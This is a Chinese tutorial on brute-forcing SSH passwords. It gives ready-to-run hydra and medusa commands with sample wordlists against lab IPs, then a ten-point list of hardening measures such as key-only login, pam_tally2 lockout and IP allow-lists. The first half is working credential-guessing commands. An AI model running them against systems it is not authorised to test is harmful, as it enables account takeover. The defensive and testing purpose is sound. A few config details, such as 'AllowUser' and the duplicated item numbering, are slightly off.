前言:本文对目前流行的 SSH 密码暴力破解工具进行实战研究、分析和总结,对渗透攻击测试和安全防御具有一定的参考价值。
首先介绍几款常用的ssh暴力破解工具:
1. hydra [海德拉]
指定用户破解
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
root@kali:~# hydra -l root -P pass.dic 192.168.106.134 ssh
root@kali:~# cat userlist.txt
admin
root
tianyun
yangge
zhuzhuxia
root@kali:~# cat passlist.txt
123
abc,123
root
admin
owaspbwa
yangge
root@kali:~# hydra -L userlist.txt -P passlist.txt -t 20 192.168.106.134 ssh
root@kali:~# hydra -L userlist.txt -P passlist.txt -M hosts.txt ssh -o ssh-hydra.ok
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] 目标主机名称或者IP地址
-H [FILE] 包含目标主机名称或者IP地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-p [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-O [FILE] 日志信息文件
-e [n/s/ns] n代表空密码,s代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认Tcp端口
-s 启用SSL
-r [NUM] 重试间隔时间,默认为3秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计
-q 显示模块的使用信息
-v [NUM] 详细级别(0-6)
-w [NUM] 错误调试级别(0-10)
-V 显示版本
-Z [TEXT] 继续扫描上一次
破解SSH密码
root@kali:~# medusa -M ssh -h 192.168.106.134 -u root -P passlist.txt
root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt
工具就先介绍到这里,类似的工具还有很多比如,patator、BrutesPray、MSF等,暴力破解主要还是利用字典,比较大的完善的字典会给暴力破解成功提高很大的可能性!
重点来了!!!
怎么防止暴力破解呢!
在这里总结的10点防御方法,只要完成这10点你的ssh可以说是相当安全了
1. useradd shell【推荐】
[root@tianyun ~]# useradd yangge -s /sbin/nologin
2. 密码的复杂性【推荐】
字母大小写+数字+特殊字符+20位以上+定期更换
3. 修改默认端口【推荐】
/etc/ssh/sshd_config
Port 22222
4. 限止登录的用户或组【推荐】
#PermitRootLogin yes
AllowUser yangge
[root@tianyun ~]# man sshd_config
AllowUsers AllowGroups DenyUsers DenyGroups
4. 使用sudo【推荐】
所有账户都要使用sudo来提权(一般安全性高的公司都是这样用的)
[root@yjssjm ~]# su -yjssjm #使用yjssjm用户
[yjssjm@yjssjm ~]# sudo 命令 #每次执行命令时前面都要加sudo
5. 设置允许的IP访问【可选】
/etc/hosts.allow,例如sshd:192.168.106.167:allow
PAM基于IP限制
iptables/firewalld
只能允许从堡垒机
6. 使用DenyHosts自动统计,并将其加入到/etc/hosts.deny
7. 基于PAM实现登录限制【推荐】
模块:pam_tally2.so
功能:登录统计
示例:实现防止对sshd暴力破解
[root@tianyun ~]# grep tally2 /etc/pam.d/sshd
auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=6
8. 禁用密码改用公钥方式认证
/etc/ssh/sshd_config
PasswordAuthentication no
9. 保护xshell导出会话文件【小心】
10. GRUB加密【针对本地破解】